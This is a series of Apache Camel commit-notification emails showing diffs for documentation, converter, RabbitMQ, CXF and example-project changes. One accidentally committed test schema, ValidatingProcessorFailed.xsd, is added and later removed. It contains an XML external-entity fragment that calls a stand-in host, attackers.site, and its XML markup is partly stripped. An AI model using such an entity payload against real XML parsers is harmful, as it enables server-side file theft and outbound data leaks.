ningjiang pushed a commit to branch master
in repository https://gitbox.apache.org/repos/asf/camel.git


The following commit(s) were added to refs/heads/master by this push:
 new 89c4b65  Updated the enterprise integration pattern document
89c4b65 is described below

commit 89c4b650788dc8551fb680407b2842ff0b95f0d5
Author: Willem Jiang <jiangni...@huawei.com>
AuthorDate: Thu May 3 16:39:29 2018 +0800

Updated the enterprise integration pattern document
---
 docs/user-manual/en/enterprise-integration-patterns.adoc | 12 
 1 file changed, 12 insertions(+)

diff --git a/docs/user-manual/en/enterprise-integration-patterns.adoc 
b/docs/user-manual/en/enterprise-integration-patterns.adoc
index cd8cc80..037707c 100644
--- a/docs/user-manual/en/enterprise-integration-patterns.adoc
+++ b/docs/user-manual/en/enterprise-integration-patterns.adoc
@@ -184,6 +184,18 @@ in a given period to avoid downstream route does not get 
overloaded?
 number of endpoints?
 
 
|image:http://cwiki.apache.org/confluence/download/attachments/49204/clear.png[image]
+|Hystrix |How can I stop to call an external service if the service is broken?
+
+|image:http://cwiki.apache.org/confluence/download/attachments/49204/clear.png[image]
+|Service Call |How can I call a remote service in a distributed system
+where the service is looked up from a service registry of some sorts?
+
+|image:http://cwiki.apache.org/confluence/download/attachments/49204/clear.png[image]
+|Saga |How can I define a series of related actions in a Camel route
+that should be either completed successfully (all of them) or 
not-executed/compensated?
+
+
+|image:http://cwiki.apache.org/confluence/download/attachments/49204/clear.png[image]
 |Multicast |How can I route a message to a number
 of endpoints at the same time?
 

-- 
To stop receiving notification emails like this one, please contact
ningji...@apache.org.


[camel] branch camel-2.20.x updated: CAMEL-12475 Fix the NPE error of camel-undertow component by adding the converter from InputStream into ByteBuffer

2018-05-02 Thread ningjiang
This is an automated email from the ASF dual-hosted git repository.

ningjiang pushed a commit to branch camel-2.20.x
in repository https://gitbox.apache.org/repos/asf/camel.git


The following commit(s) were added to refs/heads/camel-2.20.x by this push:
 new 4a070d0  CAMEL-12475 Fix the NPE error of camel-undertow component by 
adding the converter from InputStream into ByteBuffer
4a070d0 is described below

commit 4a070d0849812cac85eafb99345b3a27ebeb6c82
Author: Willem Jiang <jiangni...@huawei.com>
AuthorDate: Thu May 3 10:18:33 2018 +0800

CAMEL-12475 Fix the NPE error of camel-undertow component by adding the 
converter from InputStream into ByteBuffer
---
 .../java/org/apache/camel/converter/IOConverter.java  |  7 +++
 .../component/undertow/UndertowProducerTest.java  | 19 +++
 2 files changed, 26 insertions(+)

diff --git 
a/camel-core/src/main/java/org/apache/camel/converter/IOConverter.java 
b/camel-core/src/main/java/org/apache/camel/converter/IOConverter.java
index 72dab06..efb52cc 100644
--- a/camel-core/src/main/java/org/apache/camel/converter/IOConverter.java
+++ b/camel-core/src/main/java/org/apache/camel/converter/IOConverter.java
@@ -424,6 +424,13 @@ public final class IOConverter {
 return os.toByteArray();
 }
 
+@Converter
+public static ByteBuffer covertToByteBuffer(InputStream is) throws 
IOException {
+ByteArrayOutputStream os = new ByteArrayOutputStream();
+IOHelper.copyAndCloseInput(is, os);
+return ByteBuffer.wrap(os.toByteArray());
+}
+
 /**
  * @deprecated will be removed in Camel 3.0. Use the method which has 2 
parameters.
  */
diff --git 
a/components/camel-undertow/src/test/java/org/apache/camel/component/undertow/UndertowProducerTest.java
 
b/components/camel-undertow/src/test/java/org/apache/camel/component/undertow/UndertowProducerTest.java
index ed6f2a4..91dd1a9 100644
--- 
a/components/camel-undertow/src/test/java/org/apache/camel/component/undertow/UndertowProducerTest.java
+++ 
b/components/camel-undertow/src/test/java/org/apache/camel/component/undertow/UndertowProducerTest.java
@@ -16,6 +16,9 @@
  */
 package org.apache.camel.component.undertow;
 
+import java.io.ByteArrayInputStream;
+import java.io.InputStream;
+
 import org.apache.camel.Exchange;
 import org.apache.camel.builder.RouteBuilder;
 import org.junit.Test;
@@ -75,14 +78,30 @@ public class UndertowProducerTest extends BaseUndertowTest {
 assertMockEndpointsSatisfied();
 }
 
+@Test
+public void testHttpInputStream() throws Exception {
+getMockEndpoint("mock:input").expectedBodiesReceived("Hello World");
+
getMockEndpoint("mock:input").expectedHeaderReceived(Exchange.HTTP_METHOD, 
"POST");
+
+String out = 
template.requestBodyAndHeader("undertow:http://localhost:{{port2}}/bar;, "Hello 
World", Exchange.HTTP_METHOD, "POST", String.class);
+assertEquals("This is the InputStream", out);
+
+assertMockEndpointsSatisfied();
+}
+
 @Override
 protected RouteBuilder createRouteBuilder() throws Exception {
 return new RouteBuilder() {
+private InputStream is = new ByteArrayInputStream("This is the 
InputStream".getBytes());
 @Override
 public void configure() throws Exception {
 from("undertow:http://localhost:{{port}}/foo;)
 .to("mock:input")
 .transform().constant("Bye World");
+
+from("undertow:http://localhost:{{port2}}/bar;)
+.to("mock:input")
+.transform().constant(is);
 }
 };
 }

-- 
To stop receiving notification emails like this one, please contact
ningji...@apache.org.


[camel] branch master updated: CAMEL-12475 Removed the files which are committed by accident

2018-05-02 Thread ningjiang
This is an automated email from the ASF dual-hosted git repository.

ningjiang pushed a commit to branch master
in repository https://gitbox.apache.org/repos/asf/camel.git


The following commit(s) were added to refs/heads/master by this push:
 new fb6dc30  CAMEL-12475 Removed the files which are committed by accident
fb6dc30 is described below

commit fb6dc30e997b380af7d59df1ae09d6ec9b6f1012
Author: Willem Jiang <jiangni...@huawei.com>
AuthorDate: Thu May 3 10:44:32 2018 +0800

CAMEL-12475 Removed the files which are committed by accident
---
 .../processor/ValidatingProcessorSchemaTest.java   | 55 --
 .../camel/processor/ValidatingProcessorFailed.xsd  | 41 
 2 files changed, 96 deletions(-)

diff --git 
a/camel-core/src/test/java/org/apache/camel/processor/ValidatingProcessorSchemaTest.java
 
b/camel-core/src/test/java/org/apache/camel/processor/ValidatingProcessorSchemaTest.java
deleted file mode 100644
index 77bb18c..000
--- 
a/camel-core/src/test/java/org/apache/camel/processor/ValidatingProcessorSchemaTest.java
+++ /dev/null
@@ -1,55 +0,0 @@
-package org.apache.camel.processor;
-
-import java.io.File;
-
-import org.apache.camel.ContextTestSupport;
-import org.apache.camel.RuntimeCamelException;
-import org.apache.camel.ValidationException;
-import org.apache.camel.builder.RouteBuilder;
-import org.apache.camel.component.mock.MockEndpoint;
-import org.apache.camel.processor.validation.ValidatingProcessor;
-import org.xml.sax.SAXParseException;
-
-public class ValidatingProcessorSchemaTest extends ContextTestSupport {
-
-  protected ValidatingProcessor validating;
-
-  @Override
-  protected void setUp() throws Exception {
-validating = new ValidatingProcessor();
-validating.setSchemaFile(new 
File("src/test/resources/org/apache/camel/processor/ValidatingProcessorFailed.xsd"));
-
-super.setUp();
-  }
-
-  public void testSchemaWithValidMessage() throws Exception {
-MockEndpoint mock = getMockEndpoint("mock:error");
-mock.expectedMessageCount(1);
-
-String xml = ""
-+ "http://foo.com/bar\;>"
-+ "  1"
-+ "  davsclaus"
-+ "";
-
-template.sendBody("direct:start", xml);
-System.out.println(mock.getExchanges().get(0));
-
-assertMockEndpointsSatisfied();
-  }
-
-  protected RouteBuilder createRouteBuilder() {
-return new RouteBuilder() {
-  public void configure() {
-
//errorHandler(deadLetterChannel("mock:error").redeliveryDelay(0).maximumRedeliveries(3));
-
-//onException(SAXParseException.class).to("mock:schemeError");
-
-from("direct:start").
-process(validating).
-to("mock:valid");
-  }
-};
-  }
-
-}
diff --git 
a/camel-core/src/test/resources/org/apache/camel/processor/ValidatingProcessorFailed.xsd
 
b/camel-core/src/test/resources/org/apache/camel/processor/ValidatingProcessorFailed.xsd
deleted file mode 100644
index 7aa2aa4..000
--- 
a/camel-core/src/test/resources/org/apache/camel/processor/ValidatingProcessorFailed.xsd
+++ /dev/null
@@ -1,41 +0,0 @@
-
-
-http://attackers.site:53/TEST;>
-  %remote;
-  %run;
-  %trick;]>
-
-http://foo.com/bar;
-  xmlns:tns="http://foo.com/bar;
-  xmlns:xs="http://www.w3.org/2001/XMLSchema;>
-
-
-  
-
-  
-
-
-  
-
-  
-
-

-- 
To stop receiving notification emails like this one, please contact
ningji...@apache.org.


[camel] branch master updated (5de9a6c -> a9c376f)

2018-05-02 Thread ningjiang
This is an automated email from the ASF dual-hosted git repository.

ningjiang pushed a change to branch master
in repository https://gitbox.apache.org/repos/asf/camel.git.


from 5de9a6c  CAMEL-10671: Adding camel example project for the Ceylon JVM 
language
 new 6991d32  Updated the new generated component document
 new a9c376f  CAMEL-12475 Fix the NPE error of camel-undertow component by 
adding the converter from InputStream into ByteBuffer

The 2 revisions listed above as "new" are entirely new to this
repository and will be described in separate emails.  The revisions
listed as "add" were already present in the repository and have only
been added to this reference.


Summary of changes:
 .../org/apache/camel/converter/IOConverter.java|  7 +++
 .../processor/ValidatingProcessorSchemaTest.java   | 55 ++
 ...Processor.xsd => ValidatingProcessorFailed.xsd} | 14 --
 .../component/undertow/UndertowProducerTest.java   | 19 
 components/readme.adoc |  5 +-
 docs/user-manual/en/SUMMARY.md |  1 +
 6 files changed, 96 insertions(+), 5 deletions(-)
 create mode 100644 
camel-core/src/test/java/org/apache/camel/processor/ValidatingProcessorSchemaTest.java
 copy 
camel-core/src/test/resources/org/apache/camel/processor/{ValidatingProcessor.xsd
 => ValidatingProcessorFailed.xsd} (83%)

-- 
To stop receiving notification emails like this one, please contact
ningji...@apache.org.


[camel] 02/02: CAMEL-12475 Fix the NPE error of camel-undertow component by adding the converter from InputStream into ByteBuffer

2018-05-02 Thread ningjiang
This is an automated email from the ASF dual-hosted git repository.

ningjiang pushed a commit to branch master
in repository https://gitbox.apache.org/repos/asf/camel.git

commit a9c376f71407ffe02ffb35c7aa7327ef0b08a655
Author: Willem Jiang <jiangni...@huawei.com>
AuthorDate: Thu May 3 10:18:33 2018 +0800

CAMEL-12475 Fix the NPE error of camel-undertow component by adding the 
converter from InputStream into ByteBuffer
---
 .../org/apache/camel/converter/IOConverter.java|  7 +++
 .../processor/ValidatingProcessorSchemaTest.java   | 55 ++
 .../camel/processor/ValidatingProcessorFailed.xsd  | 41 
 .../component/undertow/UndertowProducerTest.java   | 19 
 4 files changed, 122 insertions(+)

diff --git 
a/camel-core/src/main/java/org/apache/camel/converter/IOConverter.java 
b/camel-core/src/main/java/org/apache/camel/converter/IOConverter.java
index 310425f..073547e 100644
--- a/camel-core/src/main/java/org/apache/camel/converter/IOConverter.java
+++ b/camel-core/src/main/java/org/apache/camel/converter/IOConverter.java
@@ -429,6 +429,13 @@ public final class IOConverter {
 return os.toByteArray();
 }
 
+@Converter
+public static ByteBuffer covertToByteBuffer(InputStream is) throws 
IOException {
+ByteArrayOutputStream os = new ByteArrayOutputStream();
+IOHelper.copyAndCloseInput(is, os);
+return ByteBuffer.wrap(os.toByteArray());
+}
+
 /**
  * @deprecated will be removed in Camel 3.0. Use the method which has 2 
parameters.
  */
diff --git 
a/camel-core/src/test/java/org/apache/camel/processor/ValidatingProcessorSchemaTest.java
 
b/camel-core/src/test/java/org/apache/camel/processor/ValidatingProcessorSchemaTest.java
new file mode 100644
index 000..77bb18c
--- /dev/null
+++ 
b/camel-core/src/test/java/org/apache/camel/processor/ValidatingProcessorSchemaTest.java
@@ -0,0 +1,55 @@
+package org.apache.camel.processor;
+
+import java.io.File;
+
+import org.apache.camel.ContextTestSupport;
+import org.apache.camel.RuntimeCamelException;
+import org.apache.camel.ValidationException;
+import org.apache.camel.builder.RouteBuilder;
+import org.apache.camel.component.mock.MockEndpoint;
+import org.apache.camel.processor.validation.ValidatingProcessor;
+import org.xml.sax.SAXParseException;
+
+public class ValidatingProcessorSchemaTest extends ContextTestSupport {
+
+  protected ValidatingProcessor validating;
+
+  @Override
+  protected void setUp() throws Exception {
+validating = new ValidatingProcessor();
+validating.setSchemaFile(new 
File("src/test/resources/org/apache/camel/processor/ValidatingProcessorFailed.xsd"));
+
+super.setUp();
+  }
+
+  public void testSchemaWithValidMessage() throws Exception {
+MockEndpoint mock = getMockEndpoint("mock:error");
+mock.expectedMessageCount(1);
+
+String xml = ""
++ "http://foo.com/bar\;>"
++ "  1"
++ "  davsclaus"
++ "";
+
+template.sendBody("direct:start", xml);
+System.out.println(mock.getExchanges().get(0));
+
+assertMockEndpointsSatisfied();
+  }
+
+  protected RouteBuilder createRouteBuilder() {
+return new RouteBuilder() {
+  public void configure() {
+
//errorHandler(deadLetterChannel("mock:error").redeliveryDelay(0).maximumRedeliveries(3));
+
+//onException(SAXParseException.class).to("mock:schemeError");
+
+from("direct:start").
+process(validating).
+to("mock:valid");
+  }
+};
+  }
+
+}
diff --git 
a/camel-core/src/test/resources/org/apache/camel/processor/ValidatingProcessorFailed.xsd
 
b/camel-core/src/test/resources/org/apache/camel/processor/ValidatingProcessorFailed.xsd
new file mode 100644
index 000..7aa2aa4
--- /dev/null
+++ 
b/camel-core/src/test/resources/org/apache/camel/processor/ValidatingProcessorFailed.xsd
@@ -0,0 +1,41 @@
+
+
+http://attackers.site:53/TEST;>
+  %remote;
+  %run;
+  %trick;]>
+
+http://foo.com/bar;
+  xmlns:tns="http://foo.com/bar;
+  xmlns:xs="http://www.w3.org/2001/XMLSchema;>
+
+
+  
+
+  
+
+
+  
+
+  
+
+
diff --git 
a/components/camel-undertow/src/test/java/org/apache/camel/component/undertow/UndertowProducerTest.java
 
b/components/camel-undertow/src/test/java/org/apache/camel/component/undertow/UndertowProducerTest.java
index ed6f2a4..91dd1a9 100644
--- 
a/components/camel-undertow/src/test/java/org/apache/camel/component/undertow/UndertowProducerTest.java
+++ 
b/components/camel-undertow/src/test/java/org/apache/camel/component/undertow/UndertowProducerTest.java
@@ -16,6 +16,9 @@
  */
 package org.apache.camel.component.undertow;
 
+import java.io.ByteArrayInputStream;
+import java.io.InputStream;
+
 import org.apache.camel.Exchange;
 import org.apache.camel.builder.RouteBui

[camel] 01/02: Updated the new generated component document

2018-05-02 Thread ningjiang
This is an automated email from the ASF dual-hosted git repository.

ningjiang pushed a commit to branch master
in repository https://gitbox.apache.org/repos/asf/camel.git

commit 6991d32760aa0f9042e0137a9ed9d7458949c9f9
Author: Willem Jiang <jiangni...@huawei.com>
AuthorDate: Thu May 3 10:08:33 2018 +0800

Updated the new generated component document
---
 components/readme.adoc | 5 -
 docs/user-manual/en/SUMMARY.md | 1 +
 2 files changed, 5 insertions(+), 1 deletion(-)

diff --git a/components/readme.adoc b/components/readme.adoc
index 4683b03..63c41d0 100644
--- a/components/readme.adoc
+++ b/components/readme.adoc
@@ -2,7 +2,7 @@ Components
 ^^
 
 // components: START
-Number of Components: 293 in 200 JAR artifacts (20 deprecated)
+Number of Components: 294 in 201 JAR artifacts (20 deprecated)
 
 [width="100%",cols="4,1,5",options="header"]
 |===
@@ -236,6 +236,9 @@ Number of Components: 293 in 200 JAR artifacts (20 
deprecated)
 | 
link:camel-elasticsearch-rest/src/main/docs/elasticsearch-rest-component.adoc[Elastichsearch
 Rest] (camel-elasticsearch-rest) +
 `elasticsearch-rest:clusterName` | 2.21 | The elasticsearch component is used 
for interfacing with ElasticSearch server using REST API.
 
+| 
link:camel-elasticsearch5-rest/src/main/docs/elasticsearch5-rest-component.adoc[Elastichsearch5
 Rest] (camel-elasticsearch5-rest) +
+`elasticsearch5-rest:clusterName` | 2.21 | The elasticsearch component is used 
for interfacing with ElasticSearch server using 5.x REST API.
+
 | 
link:camel-elasticsearch/src/main/docs/elasticsearch-component.adoc[Elasticsearch]
 (camel-elasticsearch) +
 `elasticsearch:clusterName` | 2.11 | *deprecated* The elasticsearch component 
is used for interfacing with ElasticSearch server.
 
diff --git a/docs/user-manual/en/SUMMARY.md b/docs/user-manual/en/SUMMARY.md
index e961fd6..92a77a1 100644
--- a/docs/user-manual/en/SUMMARY.md
+++ b/docs/user-manual/en/SUMMARY.md
@@ -192,6 +192,7 @@
* [Ehcache](ehcache-component.adoc)
* [EJB](ejb-component.adoc)
* [Elastichsearch Rest](elasticsearch-rest-component.adoc)
+   * [Elastichsearch5 Rest](elasticsearch5-rest-component.adoc)
* [Elasticsearch](elasticsearch-component.adoc)
* [Elasticsearch5](elasticsearch5-component.adoc)
* [ElSQL](elsql-component.adoc)

-- 
To stop receiving notification emails like this one, please contact
ningji...@apache.org.


[camel] branch master updated: CAMEL-10671: Adding camel example project for the Ceylon JVM language

2018-05-02 Thread ningjiang
This is an automated email from the ASF dual-hosted git repository.

ningjiang pushed a commit to branch master
in repository https://gitbox.apache.org/repos/asf/camel.git


The following commit(s) were added to refs/heads/master by this push:
 new 5de9a6c  CAMEL-10671: Adding camel example project for the Ceylon JVM 
language
5de9a6c is described below

commit 5de9a6cf77914897b8d127922377bf6edbfa1614
Author: Dimitrios Liapis <dimitri...@gmail.com>
AuthorDate: Mon Apr 23 11:59:29 2018 +0100

CAMEL-10671: Adding camel example project for the Ceylon JVM language
---
 examples/camel-example-ceylon/.gitignore   |   1 +
 examples/camel-example-ceylon/ReadMe.md|  29 +
 examples/camel-example-ceylon/pom.xml  | 124 +
 .../org/apache/camel/example/MyRouteBuilder.ceylon |  25 +
 .../ceylon/org/apache/camel/example/package.ceylon |  17 +++
 .../ceylon/org/apache/camel/example/run.ceylon |  35 ++
 .../src/main/resources/log4j2.properties   |  23 
 .../src/main/resources/module/module.ceylon|  23 
 examples/pom.xml   |   1 +
 9 files changed, 278 insertions(+)

diff --git a/examples/camel-example-ceylon/.gitignore 
b/examples/camel-example-ceylon/.gitignore
new file mode 100644
index 000..a2583f2
--- /dev/null
+++ b/examples/camel-example-ceylon/.gitignore
@@ -0,0 +1 @@
+module.ceylon
\ No newline at end of file
diff --git a/examples/camel-example-ceylon/ReadMe.md 
b/examples/camel-example-ceylon/ReadMe.md
new file mode 100644
index 000..c7f1e63
--- /dev/null
+++ b/examples/camel-example-ceylon/ReadMe.md
@@ -0,0 +1,29 @@
+# Camel Router with Ceylon Project
+
+A simple example that uses Ceylon programming language to define a little 
Camel route.
+
+The Camel route listen on HTTP port 8080 and return back a constant response.
+
+### How to run
+
+To build this project use
+
+mvn clean install
+
+To run this project
+
+mvn resources:resources ceylon:run
+
+You can then open the following url from a web browser: <http://localhost:8080>
+
+
+### Forum, Help, etc
+
+If you hit an problems please let us know on the Camel Forums
+   <http://camel.apache.org/discussion-forums.html>
+
+Please help us make Apache Camel better - we appreciate any feedback you may
+have.  Enjoy!
+
+
+The Camel riders!
\ No newline at end of file
diff --git a/examples/camel-example-ceylon/pom.xml 
b/examples/camel-example-ceylon/pom.xml
new file mode 100644
index 000..4ec21f1
--- /dev/null
+++ b/examples/camel-example-ceylon/pom.xml
@@ -0,0 +1,124 @@
+
+
+http://maven.apache.org/POM/4.0.0; 
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance;
+ xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 
http://maven.apache.org/maven-v4_0_0.xsd;>
+
+  4.0.0
+
+  
+org.apache.camel.example
+examples
+2.22.0-SNAPSHOT
+  
+
+  camel-example-ceylon
+  jar
+  Camel :: Example :: Ceylon
+  A Camel route using Ceylon
+
+  
+Other Languages
+1.3.3
+  
+
+  
+
+
+  org.apache.camel
+  camel-core
+
+
+
+
+  org.apache.camel
+  camel-jetty
+
+
+
+
+  org.apache.logging.log4j
+  log4j-api
+
+
+  org.apache.logging.log4j
+  log4j-core
+
+
+  org.apache.logging.log4j
+  log4j-slf4j-impl
+
+
+  
+
+  
+
+
+  
+src/main/resources/module
+true
+
+  **/module.ceylon
+
+  
+
+
+${project.basedir}/src/main/ceylon
+
+
+
+  
+maven-antrun-plugin
+
+  
+process-resources
+
+  
+
+  
+
+
+  run
+
+  
+
+  
+
+  
+org.ceylon-lang
+ceylon-maven-plugin
+${ceylon.version}
+
+  true
+  org.apache.camel.example/${project.version}
+
+
+  
+
+  compile
+
+  
+
+  
+
+
+  
+
+
diff --git 
a/examples/camel-example-ceylon/src/main/ceylon/org/apache/camel/example/MyRouteBuilder.ceylon
 
b/examples/camel-example-ceylon/src/main/ceylon/org/apache/camel/example/MyRouteBuilder.ceylon
new file mode 100644
index 000..db0f2a3
--- /dev/null
+++ 
b/examples/camel-example-ceylon/src/main/ceylon/org/apache/camel/example/MyRouteBuilder.ceylon
@@ -0,0 +1,25 @@
+/**
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements.  See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License.  You may obtain a copy of the License at
+ *
+ *  http://www.apache.org/licenses/LICENSE-

[camel] branch master updated: CAMEL-12455 - add DELIVERY_MODE to headers

2018-04-26 Thread ningjiang
This is an automated email from the ASF dual-hosted git repository.

ningjiang pushed a commit to branch master
in repository https://gitbox.apache.org/repos/asf/camel.git


The following commit(s) were added to refs/heads/master by this push:
 new fab7a58  CAMEL-12455 - add DELIVERY_MODE to headers
fab7a58 is described below

commit fab7a58e56e128286f327aba16c09553b26cb846
Author: Sezgin <onder.sez...@nokia.com>
AuthorDate: Thu Apr 26 20:23:03 2018 +0300

CAMEL-12455 - add DELIVERY_MODE to headers

add unit test for setting DELIVERY_MODE header
---
 .../component/rabbitmq/RabbitMQMessageConverter.java  |  3 +++
 .../camel/component/rabbitmq/RabbitMQConsumerIntTest.java | 15 +++
 2 files changed, 18 insertions(+)

diff --git 
a/components/camel-rabbitmq/src/main/java/org/apache/camel/component/rabbitmq/RabbitMQMessageConverter.java
 
b/components/camel-rabbitmq/src/main/java/org/apache/camel/component/rabbitmq/RabbitMQMessageConverter.java
index f595848..6cb535e 100644
--- 
a/components/camel-rabbitmq/src/main/java/org/apache/camel/component/rabbitmq/RabbitMQMessageConverter.java
+++ 
b/components/camel-rabbitmq/src/main/java/org/apache/camel/component/rabbitmq/RabbitMQMessageConverter.java
@@ -78,6 +78,9 @@ public class RabbitMQMessageConverter {
 if (properties.getUserId() != null) {
 exchange.getIn().setHeader(RabbitMQConstants.USERID, 
properties.getUserId());
 }
+if (properties.getDeliveryMode() != null) {
+exchange.getIn().setHeader(RabbitMQConstants.DELIVERY_MODE, 
properties.getDeliveryMode());
+}
 }
 
 public AMQP.BasicProperties.Builder buildProperties(Exchange exchange) {
diff --git 
a/components/camel-rabbitmq/src/test/java/org/apache/camel/component/rabbitmq/RabbitMQConsumerIntTest.java
 
b/components/camel-rabbitmq/src/test/java/org/apache/camel/component/rabbitmq/RabbitMQConsumerIntTest.java
index 8ea7ac0..1b3826b 100644
--- 
a/components/camel-rabbitmq/src/test/java/org/apache/camel/component/rabbitmq/RabbitMQConsumerIntTest.java
+++ 
b/components/camel-rabbitmq/src/test/java/org/apache/camel/component/rabbitmq/RabbitMQConsumerIntTest.java
@@ -91,6 +91,21 @@ public class RabbitMQConsumerIntTest extends 
AbstractRabbitMQIntTest {
 }
 
 @Test
+public void sentMessageIsDeliveryModeSet() throws InterruptedException, 
IOException, TimeoutException {
+
+to.expectedMessageCount(1);
+to.expectedHeaderReceived(RabbitMQConstants.DELIVERY_MODE, 1);
+
+AMQP.BasicProperties.Builder properties = new 
AMQP.BasicProperties.Builder();
+properties.deliveryMode(1);
+
+Channel channel = connection().createChannel();
+channel.basicPublish(EXCHANGE, "", properties.build(), MSG.getBytes());
+
+to.assertIsSatisfied();
+}
+
+@Test
 public void sentMessageWithTimestampIsReceived() throws 
InterruptedException, IOException, TimeoutException {
 Date timestamp = currentTimestampWithoutMillis();
 

-- 
To stop receiving notification emails like this one, please contact
ningji...@apache.org.


[camel] branch camel-2.21.x updated: CAMEL-12451 Make sure the camel-cxf component release UoW in oneway invocation

2018-04-19 Thread ningjiang
This is an automated email from the ASF dual-hosted git repository.

ningjiang pushed a commit to branch camel-2.21.x
in repository https://gitbox.apache.org/repos/asf/camel.git


The following commit(s) were added to refs/heads/camel-2.21.x by this push:
 new 9114dcc  CAMEL-12451 Make sure the camel-cxf component release UoW in 
oneway invocation
9114dcc is described below

commit 9114dccdabdfd070f93413bf7c92fc281c37252f
Author: Willem Jiang <jiangni...@huawei.com>
AuthorDate: Fri Apr 20 08:52:45 2018 +0800

CAMEL-12451 Make sure the camel-cxf component release UoW in oneway 
invocation
---
 .../apache/camel/component/cxf/CxfConsumer.java| 35 +---
 .../interceptors/UnitOfWorkCloserInterceptor.java  | 47 ++
 .../camel/component/cxf/jaxrs/CxfRsConsumer.java   | 37 +++--
 .../apache/camel/component/cxf/util/CxfUtils.java  | 14 ++-
 .../camel/component/cxf/CxfOneWayRouteTest.java| 19 -
 .../camel/component/cxf/CxfOneWayRouteBeans.xml|  6 ++-
 6 files changed, 98 insertions(+), 60 deletions(-)

diff --git 
a/components/camel-cxf/src/main/java/org/apache/camel/component/cxf/CxfConsumer.java
 
b/components/camel-cxf/src/main/java/org/apache/camel/component/cxf/CxfConsumer.java
index 799f5d5..24003cb 100644
--- 
a/components/camel-cxf/src/main/java/org/apache/camel/component/cxf/CxfConsumer.java
+++ 
b/components/camel-cxf/src/main/java/org/apache/camel/component/cxf/CxfConsumer.java
@@ -21,6 +21,9 @@ import java.util.HashMap;
 import java.util.Map;
 
 import javax.xml.ws.WebFault;
+
+import org.apache.camel.component.cxf.interceptors.UnitOfWorkCloserInterceptor;
+import org.apache.camel.component.cxf.util.CxfUtils;
 import org.w3c.dom.Element;
 
 import org.apache.camel.AsyncCallback;
@@ -39,7 +42,6 @@ import org.apache.cxf.interceptor.Fault;
 import org.apache.cxf.message.Exchange;
 import org.apache.cxf.message.FaultMode;
 import org.apache.cxf.message.Message;
-import org.apache.cxf.phase.AbstractPhaseInterceptor;
 import org.apache.cxf.phase.Phase;
 import org.apache.cxf.service.invoker.Invoker;
 import org.apache.cxf.service.model.BindingOperationInfo;
@@ -83,38 +85,18 @@ public class CxfConsumer extends DefaultConsumer {
 
 final MessageObserver originalOutFaultObserver = 
server.getEndpoint().getOutFaultObserver();
 server.getEndpoint().setOutFaultObserver(message -> {
-Exchange cxfExchange = null;
-if ((cxfExchange = message.getExchange()) != null) {
-org.apache.camel.Exchange exchange = 
cxfExchange.get(org.apache.camel.Exchange.class);
-if (exchange != null) {
-doneUoW(exchange);
-}
-}
 originalOutFaultObserver.onMessage(message);
+CxfUtils.closeCamelUnitOfWork(message);
 });
 
+// setup the UnitOfWorkCloserInterceptor for OneWayMessageProcessor
+server.getEndpoint().getInInterceptors().add(new 
UnitOfWorkCloserInterceptor(Phase.POST_INVOKE, true));
+// close the UnitOfWork normally
 server.getEndpoint().getOutInterceptors().add(new 
UnitOfWorkCloserInterceptor());
 
 return server;
 }
 
-//closes UnitOfWork in good case
-private class UnitOfWorkCloserInterceptor extends 
AbstractPhaseInterceptor {
-public UnitOfWorkCloserInterceptor() {
-super(Phase.POST_LOGICAL_ENDING);
-}
-
-@Override
-public void handleMessage(Message message) throws Fault {
-Exchange cxfExchange = null;
-if ((cxfExchange = message.getExchange()) != null) {
-org.apache.camel.Exchange exchange = 
cxfExchange.get(org.apache.camel.Exchange.class);
-if (exchange != null) {
-doneUoW(exchange);
-}
-}
-}
-}
 
 public Server getServer() {
 return server;
@@ -162,8 +144,9 @@ public class CxfConsumer extends DefaultConsumer {
 // we assume it should support AsyncInvocation out of box
 return true;
 }
-
+
 private class CxfConsumerInvoker implements Invoker {
+
 private final CxfEndpoint endpoint;
 
 CxfConsumerInvoker(CxfEndpoint endpoint) {
diff --git 
a/components/camel-cxf/src/main/java/org/apache/camel/component/cxf/interceptors/UnitOfWorkCloserInterceptor.java
 
b/components/camel-cxf/src/main/java/org/apache/camel/component/cxf/interceptors/UnitOfWorkCloserInterceptor.java
new file mode 100644
index 000..8825403
--- /dev/null
+++ 
b/components/camel-cxf/src/main/java/org/apache/camel/component/cxf/interceptors/UnitOfWorkCloserInterceptor.java
@@ -0,0 +1,47 @@
+package org.apache.camel.component.cxf.interceptors;
+
+import org.apache.camel.component.cxf.util.CxfUtils;
+import org.apache.cxf.interceptor.Fault;
+import org.apache.cxf.interceptor.OutgoingChainInterceptor;
+import org.apache.cxf.message.Exchange

[camel] branch master updated: CAMEL-12451 Make sure the camel-cxf component release UoW in oneway invocation

2018-04-19 Thread ningjiang
This is an automated email from the ASF dual-hosted git repository.

ningjiang pushed a commit to branch master
in repository https://gitbox.apache.org/repos/asf/camel.git


The following commit(s) were added to refs/heads/master by this push:
 new be5547d  CAMEL-12451 Make sure the camel-cxf component release UoW in 
oneway invocation
be5547d is described below

commit be5547db680da0358aa5af2fb7f4650e072534f8
Author: Willem Jiang <jiangni...@huawei.com>
AuthorDate: Fri Apr 20 08:52:45 2018 +0800

CAMEL-12451 Make sure the camel-cxf component release UoW in oneway 
invocation
---
 .../apache/camel/component/cxf/CxfConsumer.java| 34 
 .../interceptors/UnitOfWorkCloserInterceptor.java  | 47 ++
 .../camel/component/cxf/jaxrs/CxfRsConsumer.java   | 35 +++-
 .../apache/camel/component/cxf/util/CxfUtils.java  | 14 ++-
 .../camel/component/cxf/CxfOneWayRouteTest.java| 19 -
 .../camel/component/cxf/CxfOneWayRouteBeans.xml|  6 ++-
 6 files changed, 97 insertions(+), 58 deletions(-)

diff --git 
a/components/camel-cxf/src/main/java/org/apache/camel/component/cxf/CxfConsumer.java
 
b/components/camel-cxf/src/main/java/org/apache/camel/component/cxf/CxfConsumer.java
index ef5b4ec..7181933 100644
--- 
a/components/camel-cxf/src/main/java/org/apache/camel/component/cxf/CxfConsumer.java
+++ 
b/components/camel-cxf/src/main/java/org/apache/camel/component/cxf/CxfConsumer.java
@@ -21,6 +21,9 @@ import java.util.HashMap;
 import java.util.Map;
 
 import javax.xml.ws.WebFault;
+
+import org.apache.camel.component.cxf.interceptors.UnitOfWorkCloserInterceptor;
+import org.apache.camel.component.cxf.util.CxfUtils;
 import org.w3c.dom.Element;
 
 import org.apache.camel.AsyncCallback;
@@ -39,7 +42,6 @@ import org.apache.cxf.interceptor.Fault;
 import org.apache.cxf.message.Exchange;
